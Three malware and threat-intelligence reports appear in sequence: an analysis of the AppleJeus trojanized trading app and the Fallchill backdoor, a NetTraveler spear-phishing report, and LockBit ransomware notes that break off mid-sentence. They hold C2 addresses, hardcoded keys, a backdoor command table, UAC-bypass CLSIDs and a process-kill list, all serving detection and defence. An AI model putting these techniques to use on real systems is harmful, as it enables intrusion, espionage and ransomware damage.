system administrators. After all, it even contains a valid digital signature, which belongs to the same vendor. But the devil is in the detail, as usual. The code writer developed this project under the codename “jeus,” which was discovered in a PDB path included in the updater and used as a unique HTTP multipart message data separator string. Because of this, and the fact that the attacked platforms include Apple macOS, we decided to call this Operation AppleJeus. ### Properties of the Shady Updater Tool - **MD5:** b054a7382adf6b774b15f52d971f3799 - **File Type:** PE32 executable (GUI) Intel 80386, for MS Windows - **Known file name:** %Program Files%\CelasTradePro\Updater.exe - **Link Time:** 2018-06-15 10:56:27 UTC - **Build path:** Z:\jeus\downloader\downloader_exe_vs2010\Release\dloader.pdb The main purpose of Updater.exe is to collect the victim’s host information and send it back to the server. Upon launch, the malware creates a unique string with the format string template “%09d-%05d” based on random values, which is used as a unique identifier of the infected host. This malware collects process lists, excluding “[System Process]” and “System” processes and gets the exact OS version from the registry value at “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion.” It seems that such values only exist from Windows 10, so we assume that the author developed and tested it on Windows 10. The code encrypts the collected information with the hardcoded XOR key (“Moz&Wie;#t/6T!2y“) before uploading it to the server. The code sends the victim’s information to a webserver using HTTP and the following URL: www.celasllc[.]com/checkupdate.php. The server is a legitimate-looking website owned by the developer of the program: Celas LLC. At this point, we were not able to conclude with high confidence whether the server was compromised by the threat actor or had belonged to the threat actor from the beginning. The malware used a hardcoded User-Agent string “Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)” and fixed a multipart form data separator string “jeus.” Using encryption, the custom separator string wouldn’t be a red flag for a legitimate application, but sending a request with the context-irrelevant string “get_config,” as well as uploading collected system information as “temp.gif,” mimicking a GIF image with a magic number in the header, definitely made us raise our eyebrows. After successfully uploading data, the updater checks the server response. If the server responds with HTTP code 300, it means the updater should keep quiet and take no action. However, if the response is HTTP code 200, it extracts the payload with base64 and decrypts it using RC4 with another hardcoded key (“W29ab@ad%Df324V$Yd”). The decrypted data is an executable file that is prepended with the “MAX_PATHjeusD” string. During our research, we found other similar files. One was created on August 3rd and another on August 11th. The PDB path shows that the author keeps improving this updater tool, apparently forked from some stable version released on July 2, 2018. ### Trojanized Trading Program for macOS For macOS users, Celas LLC also provided a native version of its trading app. A hidden “autoupdater” module is installed in the background to start immediately after installation, and after each system reboot. It keeps contacting the command and control (C2) server in order to download and run an additional executable from the server. The communication conforms to the Windows version of the updater and is disguised as an image file upload and download, while carrying encrypted data inside. We have analyzed the following installation file: - **MD5:** 48ded52752de9f9b73c6bf9ae81cb429 - **File Size:** 15,020,544 bytes - **File Type:** DMG disk image - **Known file name:** celastradepro_mac_installer_1.00.00.dmg - **Date of creation:** 13 July 2018 Once the Celas Trade Pro app is installed on macOS, it starts the Updater application on the system load via a file named “.com.celastradepro.plist” (note that it starts with a dot symbol, which makes it unlisted in the Finder app or default Terminal directory listing). The “Updater” file is passed the “CheckUpdate” parameter on start. The command-line argument “CheckUpdate” looks redundant from a code analysis perspective: there is no other argument that the application expects. In the absence of all arguments, it doesn’t do anything and quits. This may or may not be a way to trick sandboxes that could automatically execute this trojan updater, with no suspicious activity produced without such a “secret” extra argument. The choice of a benign string such as “CheckUpdate” helps it to hide in plain sight of any user or administrator looking into running processes. The trojanized updater works similarly to the Windows version in many ways. Both applications are implemented using a cross-platform QT framework. Upon launch, the downloader creates a unique identifier for the infected host using a “%09d-%06d” format string template. Next, the app collects basic system information, which for macOS is done via dedicated QT classes: - Host name - OS type and version - System architecture - OS kernel type and version The process of encrypting and transferring data is the same as in the Windows version. This information is XOR-encrypted with hardcoded 16-byte static key “Moz&Wie;#t/6T!2y,” prepended with GIF89a header and uploaded to the C2 server via HTTP POST and the following URL: www.celasllc[.]com/checkupdate.php. The module relies on a hardcoded User-Agent string for macOS: **User-Agent:** Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36 Once the server replies, it checks the HTTP response code. HTTP response code 300 indicates that the server has no task for the updater and the application terminates immediately. If the HTTP response is code 200, then the updater gets the data in the response, decodes it from base64 encoding and decrypts it using RC4 with the hardcoded static key “W29ab@ad%Df324V$Yd.” It calculates the MD5 of the decoded and decrypted data, which is compared to a value stored inside, to verify the integrity of the transferred file. After that, the payload is extracted and saved to a hardcoded file location “/var/zdiffsec,” sets executable permissions for all users and starts the app with another secret hardcoded command-line argument “bf6a0c760cc642.” Apparently, the command-line argument is the way to prevent the detection of its malicious functionality via sandboxes or even reverse engineering. We have previously seen this technique adopted by the Lazarus group in 2016 in attacks against banks. As of 2018, it is still using this in almost every attack we investigated. ## Downloaded Payload According to data from Kaspersky Security Network, the threat actor delivered the malicious payload using one of the shadowy updaters described above. We found a malicious file created at the same host: - **MD5:** 0a15a33844c9df11f12a4889ae7b7e4b - **File Size:** 104,898,560 bytes - **File Type:** PE32+ executable (GUI) x86-64, for MS Windows - **Known file name:** C:\Recovery\msn.exe - **Link time:** 2018-04-19 13:30:19 Note the unusually large size for an executable file. We believe that it was inflated with junk data on purpose to prevent easy download or transfer over the internet. Searching for the reason for the malware’s appearance on the system revealed that there was an additional process responsible for producing several files before this malware was launched, suggesting a trojan dropper in action. The main function of this malware is to implant the Fallchill backdoor loader linked to several files. Upon launch, the malware checks one of the command-line arguments passed to it. The malware chooses one of the service names located in the following registry value as a disguise: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcs. This value includes a list of several dozen standard system service names. The randomly chosen service name is used to name the dropped file and newly registered Windows service. Let’s refer to this randomly chosen service name as [service]. The malware contains references to several files inside: - The file passed as argument: contains a 16-byte key - msncf.dat: Encrypted configuration data - msndll.tmp: Encrypted Fallchill loader - msndll.dat: Encrypted Fallchill backdoor (payload for the loader) - [service]svc.dll: Fallchill backdoor loader - [service].dat: Copy of msndll.dat A mix of the above-mentioned files produces the final backdoor known as Fallchill. A more detailed procedure for technical specialists is as follows: 1. Check whether the command-line argument points to a file of 16 byte size. 2. Read the file passed via the command-line argument. The contents of this file contains a crypto key, which we will call the main key. 3. Open the msncf.dat file (configuration file). If the file size equals 192 bytes, read the content of the file. 4. Open msndll.tmp file and decrypt it using the main key. 5. Create the [service]svc.dll file and fill it with pseudo-random data. 6. The malware fills the file with 10,240 bytes of pseudo-random data, and iterates (rand() % 10 + 10240) times. This is why it produces files which are at least 104,851,000 bytes. 7. Copy the 16-byte main key at the end of the [service]svc.dll file. 8. Encrypt the [service].dat file name with the main key and append it at the end of [service]svc.dll. 9. Overwrite the beginning of [service]svc.dll with data decrypted from msndll.tmp. 10. Move msndll.dat file to [service].dat. 11. Delete temporary files: msndll.tmp, msncf.dat, msndll.log. 12. Timestamp [service]svc.dll and [service].dat files. 13. Register [service]svc.dll as a Windows service. 14. Save a copy of data from msncf.dat file in the following registry value HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\TaskConfigs\Description. ## Fallchill Backdoor Loader We confirmed that the following malware was created on the infected host using the method described above: - **MD5:** e1ed584a672cab33af29114576ad6cce - **File Size:** 104,878,356 bytes - **File Type:** PE32+ executable (DLL) (console) x86-64, for MS Windows - **Known file name:** C:\Windows\system32\uploadmgrsvc.dll - **Link time:** 2018-01-18 01:56:32 Encrypted Fallchill backdoor: - **MD5:** d8484469587756ce0d10a09027044808 - **File Size:** 143,872 bytes - **File Type:** encrypted data - **Known file name:** C:\Windows\system32\uploadmgr.dat Upon starting, uploadmgrsvc.dll reads 276 bytes from the end of its own executable file. The first 16 bytes of this 276-byte data are used as a decryption key, and the remaining 260 bytes contain the encrypted file path used by the backdoor. The malware reads the specified file and decrypts it using the same decryption routine. This is how the executable code of the backdoor is produced in memory and executed by the loader. Below is the meta information about the decrypted final payload in memory: - **MD5:** d7089e6bc8bd137a7241a7ad297f975d - **File Size:** 143,872 bytes - **File Type:** PE32+ executable (DLL) (GUI) x86-64, for MS Windows - **Link Time:** 2018-03-16 07:15:31 We can summarize the Fallchill backdoor loading process as follows: As mentioned previously, the final payload belongs to a Fallchill malware cluster formerly attributed to the Lazarus APT group. Upon launching, this malware resolves the API function addresses at runtime and reads the C2 server address from the registry value created during the installation stage: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\TaskConfigs\Description. If there is no configuration value, the malware falls back to a default C2 server address. - 196.38.48[.]121 - 185.142.236[.]226 This is a full-featured backdoor that contains enough functions to fully control the infected host. Some of its network protocol commands are described below. | Command ID | Description | |------------|-------------| | 0x8000 | Write current time and configuration data to registry key | | 0x8001 | Send configuration data | | 0x8002 | Replace configuration data in the fixed registry value | | 0x8003 | Execute Windows command, store output in temp file and upload contents to C2 | | 0x8006 | Show current working directory | | 0x8007 | Change current working directory | | 0x8008 | Collect process information | | 0x8009 | Terminate process | | 0x8010 | Start new process | | 0x8011 | Create process with security context of the current user | | 0x8012 | Connect to specified host/port | | 0x8013 | Get drive information | | 0x8014 | Directory listing | | 0x8015 | Search a file | | 0x8019 | Write data to a specified file | | 0x8020 | Read contents of specified file and upload to C2 server | | 0x8021 | Compress multiple files to a temp file (name starts with ZD) and upload to C2 | | 0x8023 | Wipe specific file | | 0x8025 | Copy file time from another file time (timestamping) | | 0x8026 | Shutdown malware service and self-delete | | 0x8043 | Send “Not Service” unicode string to C2 server (communication test?). | This set of capabilities is very common for many Lazarus backdoors, which have been seen in other attacks against banks and the financial industry in the past years. ## Infrastructure While working on the incident of the cryptocurrency company’s breach, we were curious about the legal status of the Celas LLC company that developed this trojanized trading application. The website had a valid SSL certificate issued by Comodo CA. However, note that the certificate from this webserver mentions “Domain Control Validated,” which is a weak security verification level for a webserver. It does not mean validation of the identity of the website’s owner, nor of the actual existence of the business. When certification authorities issue this kind of certificate, they only check that the owner has a certain control over the domain name, which can be abused in certain ways. Below is the WHOIS record of the “celasllc.com” domain. The domain name was registered by an individual named “John Broox” with registrant email address “johnbroox200@gmail[.]com”. - **Registrant Name:** John Broox - **Registrant Organization:** - **Registrant Street:** 2141 S Archer Ave - **Registrant City:** Chicago - **Registrant State/Province:** Illinois - **Registrant Postal Code:** 60601 - **Registrant Country:** US - **Registrant Phone:** +1.8133205751 - **Registrant Email:** johnbroox200@gmail[.]com The same name of “John Broox” was used inside the installation package of the macOS version of the trading application. The Info.plist properties file describes the package as follows: ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>CFBundleVersion</key> <string>1.00.00</string> <key>CFBundleName</key> <string>Celas Trade Pro</string> <key>CFBundleIconFile</key> <string>CelasTradePro</string> <key>CFBundlePackageType</key> <string>APPL</string> <key>CFBundleGetInfoString</key> <string>Developed by John Broox. CELAS LLC</string> <key>CFBundleSignature</key> <string>QTCELASTRADE</string> <key>CFBundleExecutable</key> <string>CelasTradePro</string> <key>CFBundleIdentifier</key> <string>com.celasllc.CelasTradePro</string> <key>NSPrincipalClass</key> <string>NSApplication</string> <key>NSHighResolutionCapable</key> <string>True</string> <key>LSMinimumSystemVersion</key> <string>10.10.0</string> </dict> </plist> ``` It looks at first sight like a legitimate WHOIS record, but something doesn’t really add up here. The domain celasllc.com was the only domain registered with this email address and was exclusively used for domain registration. The registrant used the Domain4Bitcoins service to register this domain, apparently paying with cryptocurrency. According to open-source intelligence, the address of the WHOIS information is fake, unless it’s the owner of a ramen shop running a cryptocurrency exchange software development studio on the side. The server hosting celasllc.com (185.142.236.213) belongs to the Blackhost ISP in the Netherlands. Coincidentally, the Fallchill malware authors also preferred to use the same hosting company to host their C2 server. Moreover, the Celas LLC web server and one of the C2 servers of the Fallchill malware are located in the same network segment of this ISP: - **Celas LLC infrastructure:** 185.142.236.213: Netherlands Blackhost Ltd. AS174 COGENT-174 - **Fallchill malware C2 server:** 196.38.48[.]121: South Africa Internet Solutions AS3741 - **185.142.236[.]226: Netherlands Blackhost Ltd. AS174 COGENT-174** - **Additional attacker’s server from telemetry:** 80.82.64[.]91: Seychelles Incrediserve Ltd AS29073 - **185.142.239[.]173: Netherlands Blackhost Ltd. AS174 COGENT-174** However, when you look into Celas Trading Pro application’s digital signature, including its “Updater,” you will find that this certificate was also issued by Comodo CA, which refers to a company address in the United States. According to open-source data, this address doesn’t belong to a real business and looks on maps like a meadow with a small forest and small real estate offering nearby. Pivoting the infrastructure a little further brings up some more suspicious things. It appears that the domain referred to two IPs, one of which was linked to a few other suspicious domains, according to PassiveDNS. ### Hosting Services Linked to Celas LLC - Blackhost - Liberty VPS ### Domain Registration Services Linked to Celas LLC - Domains4Bitcoins - NameCheap - ChangeIP - Njalla All the facts above can make the more skeptical among us doubt the intentions of Celas LLC and the legitimacy of this business. Of course, these facts alone would not be enough to accuse Celas LLC of committing a crime. ## Attribution Kaspersky Lab has previously attributed the Fallchill malware cluster to the Lazarus group when it attacked the financial sector around the world. It was also confirmed by other security vendors and the national CERT of the US. ### RC4 Key from the Older Fallchill Fallchill malware uses an RC4 algorithm with a 16-byte key to protect its communications. The key extracted from the Fallchill variant used in the current attack is DA E1 61 FF 0C 27 95 87 17 57 A4 D6 EA E3 82 2B. We were able to confirm that some of the older Fallchill malware variants used exactly the same RC4 key. Below are Fallchill malware samples that used the same key (the compilation timestamp may indicate the date of malware creation). | MD5 | Timestamp | |------|-----------| | 81c3a3c5a0129477b59397173fdc0b01 | 2017-05-26 23:37:04 | | 6cb34af551b3fb63df6c9b86900cf044 | 2017-06-09 17:24:30 | | 21694c8db6234df74102e8b5994b7627 | 2017-11-07 17:54:19 | | 5ad7d35f0617595f26d565a3b7ebc6d0 | 2015-10-24 01:52:11 | | c501ea6c56ba9133c3c26a7d5ed4ce49 | 2017-06-09 03:59:43 | | cafda7b3e9a4f86d4bd005075040a712 | 2017-11-07 17:54:33 | | cea1a63656fb199dd5ab90528188e87c | 2017-06-12 19:25:31 | | 6b061267c7ddeb160368128a933d38be | 2017-11-09 17:18:06 | | 56f5088f488e50999ee6cced1f5dd6aa | 2017-06-13 08:17:51 | | cd6796f324ecb7cf34bc9bc38ce4e649 | 2016-04-17 03:26:56 | ### Same C2 Server with Older Fallchill We have confirmed that the C2 server addresses (196.38.48[.]121, 185.142.236[.]226) used in this attack have been used by the older variant of Fallchill. | MD5 | Timestamp | |------|-----------| | 94dfcabd8ba5ca94828cd5a88d6ed488 | 2016-10-24 02:31:18 | | 14b6d24873f19332701177208f85e776 | 2017-06-07 06:41:27 | | abec84286df80704b823e698199d89f7 | 2017-01-18 04:29:29 | Apparently, the attackers using the Fallchill malware continue to reuse code and C2 server infrastructure over and over again. According to Kaspersky Security Network, Fallchill was not the only malware used in this attack. There was another backdoor that was used by the threat actor. We omit a full description of this backdoor in the current report to keep the write-up to an acceptable length, but we would like to highlight two important things discovered in it. First, this backdoor was created on 2018-07-12 and revealed an already familiar directory, “TManager,” which we previously saw in the Updater.exe application from the Celas Trading Pro suite. Second, what is probably one of the most interesting findings to come from this additional backdoor was discovered hidden in hardcoded headers used to communicate with the C2 server. The Accept-Language HTTP header string revealed a language code associated with North Korea. In our experience, this is something we normally don’t see in malware. **Accept-Language:** ko-kp,ko-kr;q=0.8,ko;q=0.6,en-us;q=0.4,en;q=0.2 ## Conclusions The Lazarus APT group’s continuous attacks on the financial sector are not much of a surprise to anyone. A lot of research has been done and published about such attacks. However, we think this case makes a difference. Recent investigation shows how aggressive the group is and how its strategies may evolve in the future. First of all, the Lazarus group has entered a new platform: macOS. There is steadily growing interest in macOS from ordinary users, especially in IT companies. Many developers and engineers are switching to using macOS. Apparently, in the chase after advanced users, software developers from supply chains and some high-profile targets, threat actors are forced to have macOS malware tools. We believe that in the future, Lazarus is going to support all platforms that software developers are using as a base platform because compromising developers opens many doors at once. We cannot say with full certainty whether Celas LLC was compromised and the threat actor abused it to push malware through an update mechanism. However, the multiple successful Lazarus attempts to compromise supply chain companies suggest that it will keep exploring this infection method. From all angles, the Celas LLC story looks like the threat actor has found an elaborate way to create a legitimate-looking business and inject a malicious payload into a “legitimate looking” software update mechanism. Sounds logical: if one cannot compromise a supply chain, why not make a fake one? This should be a lesson to all of us and a wake-up call to businesses relying on third-party software. Do not automatically trust the code running on your systems. Neither a good-looking website, nor a solid company profile, nor the digital certificates guarantee the absence of backdoors. Trust has to be earned and proven. Stay safe! ## Appendix I – Indicators of Compromise ### File Hashes (malicious documents, trojans, emails, decoys) **Trojanized installer and payload:** - 9e740241ca2acdc79f30ad2c3f50990a - celastradepro_win_installer_1.00.00.msi - 4126e1f34cf282c354e17587bb6e8da3 - celastradepro_win_installer_1.00.00.msi - 0bdb652bbe15942e866083f29fb6dd62 - CelasTradePro-Installer.msi - 48ded52752de9f9b73c6bf9ae81cb429 - celastradepro_mac_installer_1.00.00.dmg - b054a7382adf6b774b15f52d971f3799 - Updater.exe - ffae703a1e327380d85880b9037a0aeb - Updater.exe - bbbcf6da5a4c352e8846bf91c3358d5c - Updater.exe - 0a15a33844c9df11f12a4889ae7b7e4b - msn.exe - e1ed584a672cab33af29114576ad6cce - uploadmgrsvc.dll - d8484469587756ce0d10a09027044808 - uploadmgr.dat - d7089e6bc8bd137a7241a7ad297f975d ### Same RC4 Key Fallchill - 81c3a3c5a0129477b59397173fdc0b01 - 6cb34af551b3fb63df6c9b86900cf044 - 21694c8db6234df74102e8b5994b7627 - 5ad7d35f0617595f26d565a3b7ebc6d0 - c501ea6c56ba9133c3c26a7d5ed4ce49 - cafda7b3e9a4f86d4bd005075040a712 - cea1a63656fb199dd5ab90528188e87c - 6b061267c7ddeb160368128a933d38be - 56f5088f488e50999ee6cced1f5dd6aa - cd6796f324ecb7cf34bc9bc38ce4e649 ### Same C&C Server Fallchill - 94dfcabd8ba5ca94828cd5a88d6ed488 - 14b6d24873f19332701177208f85e776 - abec84286df80704b823e698199d89f7 ### File Path - C:\Recovery\msn.exe - C:\Recovery\msndll.log - C:\Windows\msn.exe - C:\WINDOWS\system32\uploadmgrsvc.dll - C:\WINDOWS\system32\uploadmgr.dat ### Domains and IPs - www.celasllc[.]com/checkupdate.php (malware distribution URL) - 196.38.48[.]121 - 185.142.236[.]226 - 80.82.64[.]91 - 185.142.239[.]173
# NetTraveler APT Targets Russian, European Interests **Overview** Throughout 2016, Proofpoint researchers tracked a cyber-espionage campaign targeting victims in Russia and neighboring countries. The actor utilizes spear phishing campaigns to deliver NetTraveler, also known as TravNet. First observed as early as 2004, NetTraveler is a Trojan used widely in targeted attacks. We believe that this attacker operates out of China. In addition to Russia, targeted regions include neighboring countries such as Mongolia, Belarus, and other European countries. The spear-phishing campaigns we detected use links to RAR-compressed executables and Microsoft Word attachments that exploit the CVE-2012-0158 vulnerability. This particular APT is targeting organizations that include weapons manufacturers, human rights activists, and pro-democracy groups, among others. **Background** Previously we described activity by the same actor in which this group utilized PlugX malware to target various telecommunication and military interests in Russia. Since January 2016, this group switched to using NetTraveler and varied its targets, but otherwise left most of its tools, techniques, and procedures (TTPs) unchanged. It is worth noting that this and other China-based espionage groups have reduced their reliance on PlugX for unknown reasons, with only a few major incidents involving PlugX this year. Moreover, there are some indications that this or a closely related group utilized Saker, Netbot, DarkStRat, and LURK0 Gh0st in its espionage activities. **Spear-Phishing** One of this actor's favorite techniques is to register news and military lookalike sites and use them for Command and Control (C&C) and for payload hosting. Days prior to launching a wave of spear-phishing, the actor selects a victim-relevant news topic such as nuclear energy, military training, or geopolitics. The actor then finds a news article on the topic and uses it as a basis for the phishing lure, including file names, relevant decoy documents, image files, and email content. For example, the actor emailed the URL www.info-spb[.]com/analiz/voennye_kommentaria/n148584.rar to potential victims in early February. The URL links to a RAR file which contains the executable “Нападение на американские космические системы очень дорого обойдется.scr” (“Attacking the American space systems will be very costly.scr”) and two benign decoy documents. **Indicators of Compromise (IOC)** | Embedded Filename | Translation | |-------------------|-------------| | Сервисное обслуживание и ремонт военной техники связи.scr | Service and repair of military communication equipment.scr | | Нападение на американские космические системы очень дорого обойдется.scr | Attacking american space systems will be costly.scr | | Текст приветствия Главы государства.scr | Text of speech of head of state.scr | | Пятнадцатое заседание Коллегии Евразийской экономической комиссии.scr | Fifteenth session of Eurasian economic commission.scr | | Совместное антитеррористическое учение «Антитеррор-2016».scr | Joint anti-terrorism training “Antiterror 2016”.scr | | Встреча НГШ с Бордюжа.scr | Meeting of Chief of General Staff with Bordyuzh.scr | | Изменения в списке аффилированных лиц по состоянию на 20.04.2016 г.scr | Changes to the list of affiliated persons for 20.04.2016.scr | In some cases, instead of sending URLs in the spear-phishing emails, the attackers sent Microsoft Word attachments utilizing CVE-2012-0158 to exploit the client and install NetTraveler. These documents were built with MNKit. For example, the attachment “ПЛАН РЕАЛИЗАЦИИ ПРОЕКТА.doc” (which translates to “Plan of realization of project.doc”) was sent to potential victims in January 2016. **Other Targeted Countries** Besides targeting Russia with NetTraveler, the actor also appears to have interests in Mongolia. While we do not have spear-phishing emails for these samples, we found certain payloads using Mongolian lures and decoys. For example, the file 13_11.rar found on March 11 contains a NetTraveler payload with a Mongolian file name “НИЙГМИЙН ДААТГАЛЫН ЕРӨНХИЙ ГАЗАР.exe” (“Social Insurance General Gazar.exe”) and a decoy PDF file with the same name. Another sample found April 20 with a Russian filename “Главный редактор Sputnik–Турция в среду вернется в Москву.rar” (“Main editor of Sputnik-Turkey will return to Moscow on Wednesday.doc.scr”) containing a NetTraveler payload with a decoy JPG file. The image file is a picture of a Turkish-language “Unacceptable forms of passenger information” form. **Infrastructure** The following table summarizes the C&C and payload hosting domains used throughout the year. | Infection Site | Registrant Email | Legitimate Site Mimicked | |----------------|------------------|--------------------------| | www.tassnews[.]net | [email protected] | tass.ru | | www.interfaxru[.]com | [email protected] | www.interfax.ru | | www.riaru[.]net | [email protected] | Ria.ru | | www.voennovosti[.]com | [email protected] | voennovosti.ru | | www.info-spb[.]com | [email protected] | Unknown | | www.mogoogle[.]com | [email protected] | Unknown | All the domains (except mogoogle[.]com) were set up with the same registrar in Beijing referred to as “Shanghai Meicheng Technology Information Development Co., Ltd.”. Other than the emails, information used for registration was randomized. **NetTraveler Analysis** NetTraveler implants continue to use a DLL side-loading technique. The configuration file used by NetTraveler uses a known format. For example, the payload dropped by 20160623.doc uses the following configuration, where U00P is a C&C server, K00P is a DES key composed of a string of repeated As, P00D is sleep time, and F00G is proxy setting. U00P and K00P are encrypted in the file using a simple algorithm. **Conclusion** Threat actors have been successfully using NetTraveler for cyber-espionage for over 10 years. Targets have ranged from government agencies to nuclear power installations. In this case, it appears that Chinese actors are targeting a variety of interests in Russia and neighboring countries, relying on spear-phishing attacks to drop NetTraveler on vulnerable machines. Regardless of the TTPs, this ongoing APT points to the staying power of NetTraveler and the need for ongoing vigilance and technological protections against advanced persistent threats. Even organizations without direct government ties are potential targets for these types of attacks as smaller agencies or contractors can serve as beachheads in larger campaigns against indirectly related targets.
# LockBit Ransomware Analysis Notes LockBit is a relatively new family of ransomware that has been discovered for the first time in 2019, and since then, it keeps evolving in both the social and the technical aspects to keep up with modern ransomware. For example, in the newest versions, the ransom note contains a threat to the victims to leak their private data if the victim restores their data from a backup and doesn’t pay the ransom. They explicitly remind them of the GDPR as a direct way of extortion. As for the technical aspect, they started using multi-threading to enhance the performance of the malware and some other technical details that will be described in this story. ## Sample Info - 5761ee98b1c2fea31b5408516a8929ea - 4d043df23e55088bfc04c14dfb9ddb329a703cc1 - 0a937d4fe8aa6cb947b95841c490d73e452a3cafcd92645afc353006786aba76 - 0x5E4A2B92 (Sun Feb 16 21:58:42 2020) **NOTE:** This is the final payload, so we’ll directly dive into the real nefarious stuff of the malware. ## A Quick Look By having a very quick look at the sample to get an idea of what kind of binary we’ll be dealing with, it appears that the section names are very normal. The entropy is a little high for the `.text` and the `.rdata` sections but not that high, which indicates that most probably this binary is not packed; however, it applies some obfuscation techniques. ## A Quick Behavioral Analysis **NOTE:** I usually give the binary any arbitrary name because I don’t know yet what kind of anti-analysis techniques are being applied, so “lockbit.exe” and “anghami.exe” are the same binary—just so you don’t be confused if you’ve noticed that in the screenshots below. By having a quick look at the process tree of the malware, we can see a bunch of `dllhost.exe` executions with CLSIDs of COM objects that are known to be vulnerable to UAC bypassing, one of them spawns the `lockbit.exe` process. Also, we can easily notice that it tries to inhibit the system recovery by deleting the shadow copy, deleting the Windows backup catalog, and modifying the boot configuration to disable Windows automatic recovery features. Neglecting the fact that we already know that we’re dealing with ransomware, that behavior is a quick giveaway that most probably this is the case. We can also see that, for some reason, it tries to scan the network by sending a ton of ARP requests to the entire network. It will try to connect via port 445 (SMB). Regarding the Registry, we’ll notice a huge amount of activities that are related to registry access and modification, but the ones that we’re most interested in are the following keys: - `SOFTWARE\LockBit` - `SOFTWARE\LockBit\full` - `SOFTWARE\LockBit\Public` - `HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XO1XADpO01` Finally, the background will be changed, and all the files will be encrypted and have the `.lockbit` extension. And of course, the ransom note will be dropped. ## Analysis Notes After performing a full static analysis to the sample and adding meaningful names to the variables and functions, adding a few comments to the important sections of code, de-obfuscating the strings, and validating the results with a full behavioral analysis, here are some interesting snippets from the malware that could help us understand its behavior and build detection for it. ### Anti-Debugging The malware checks the `NtGlobalFlag`, which exists in the PEB (Process Environment Block) at offset `0x68` to know whether or not the process is being debugged. It performs a `TEST` to check the value of the flag; if it equals `0x70` (which means the process is being debugged), the execution will be transferred to a block of code that exits the process. Also, the malware has multiple calls to `Sleep` with a high number of seconds. This is usually done to avoid being automatically analyzed inside a free sandbox, as most of the free sandboxes limit the amount of execution time to a limited number of minutes. ### Token Impersonation The malware will try to impersonate the token of the logged-on user via the physical console by firstly getting the session identifier of the console session by calling `WTSGetActiveConsoleSessionId`, then it will pass that `sessionId` to `WTSQueryUserToken` to obtain the primary access token of the logged user. If it fails to get the token, it will create the process with the current security context by calling `CreateProcessW`. However, if it manages to get the user’s access token, it will duplicate the token by calling `DuplicateTokenEx`, then it will use the duplicate token to create the new process using `CreateProcessAsUserW`. Usually, malware uses this technique for two reasons: 1. If the impersonated user has a higher privilege. 2. To bypass access controls. ### String Obfuscation This sample has all of its strings encrypted via a simple XOR encryption with a unique key for each string. Each encrypted sequence of bytes will have the first byte as the key. The malware first loads the encrypted strings onto the stack, then it runs the decryption loop. This loop is noticed in almost all the functions. Here is a very simple Python function I wrote to help me decrypt the strings. This function takes the hex values as a string, then it will decrypt it. ```python import binascii def xor_decrypt(data): data = binascii.unhexlify(data) key = data[0] result = '' for byte in data: result += chr(byte ^ key) return result ``` ### Debugging Messages This malware does something very cool, which is printing what seems to be debugging messages to a hidden console window. For the malware to be stealthier, all the strings are obfuscated using the same XOR encryption algorithm we discussed. After de-obfuscating all the strings and tracking them, analyzing the sample has become much easier. ### Generating And Storing the Decryption Keys The malware uses two algorithms for the encryption, which are RSA and AES. Firstly, the malware will generate an RSA session key pair, then it will encrypt the private key using a hard-coded public key. It then stores the encrypted key in the `SOFTWARE\LockBit\full` registry key, and the public key will be stored in `SOFTWARE\LockBit\Public`. The malware will randomly generate a new AES key for each file. Once it’s being used for encrypting the file, the AES key will be encrypted using the RSA public session key and appended to the end of the encrypted file. The debugging messages that we mentioned earlier have made it easy to detect the function that will generate the session keys as the de-obfuscated string says “Generating session keys”! ### Generating Random Numbers For generating the random numbers, LockBit will use `LoadLibraryA` and `GetProcAddress` to dynamically load `bcrypt.dll` for importing the `BCryptGenRandom` API for generating 32 bytes of random numbers. If it couldn’t load the necessary libraries, it’ll call `CryptAcquireContextW` and `CryptGenRandom` to get the job done. ### Utilizing IOCP (Completion I/O ports) As we mentioned earlier, LockBit has technically evolved. One of the technical aspects is using the Windows I/O Completion ports mechanism for providing an efficient threading model for processing multiple asynchronous I/O requests on a multiprocessor system. The malware has each function of its behavior separated in a subroutine. It creates an I/O completion port by calling `CreateIoCompletionPort`, then it will enter a loop to create a bunch of threads by calling either one of the undocumented and more stealthier following APIs: `NtCreateThreadEx` or `RtlCreateUserThread`, and it will set the entry point of each thread to one of the subroutines. After that, `NtSetInformationThread` will be called for setting the thread priority for each created thread. ### Privilege Escalation Firstly, LockBit checks its privileges by getting the process token by calling `NtOpenProcessToken`, then it queries that token via `NtQueryInformationToken`. After that, it creates a user security identifier (SID) that matches the administrator group by passing `WinBuiltinAdministratorsSid` to `CreateWellKnownSid`. Finally, it calls `CheckTokenMembership` to check whether the current process privileges include the Administrator privileges or not. If it doesn’t include the Administrator privileges, LockBit will perform a UAC bypass by calling Windows COM objects that can auto-elevate. For masquerading, LockBit implements a publicly available function called `supMasqueradeProcess`, which allows the malware to conceal its process information by injecting into a process that runs in a trusted directory; it chooses `explorer.exe` to be its target. For the actual UAC bypassing, LockBit will call `CoGetObject` with the following CLSIDs: - `{3E5FC7F9–9A51–4367–9063-A120244FBEC7}` - `{D2E7041B-2927–42fb-8E9F-7CE93B6DC937}` ### Killing Processes LockBit calls `CreateToolhelp32Snapshot` for getting a snapshot of the running processes, then it uses `Process32First` and `Process32Next` to enumerate the snapshot. For each process, it’ll compare its name against a list of processes, and if it matches, it will pass the process handle that it got by calling `OpenProcess` to `TerminateProcess` to terminate the process. The list of the processes was also encrypted using XOR. Here is a list of the processes that will be terminated if they exist: - wxServer - wxServerView - sqlmangr - RAgui - supervise - CultureDef - watch - winword - QBW32 - QBDBMgr - qbupdate - axCloud - Adobe Desktop Service - CoreSync - Adobe CEF Helper - node - Adobe IPC Broker - sync-taskbar - sync-worker - Input Personalization - Adobe Collab Sync - BrCtrlCntr - BrCcUxSys - Simply Connection Manager - Sim - exp-engine-service - TeamViewer_Service - TeamViewer - tv_w32 - tv_x64 - TitanVS - sms - notepad - RdrCEF - oracle - ocssd - dbsnm ### Stopping Services LockBit has a list of services that it will try to stop by calling `OpenSCManagerA` to establish a connection to the service control manager on the local computer. Then, it loops over a list of 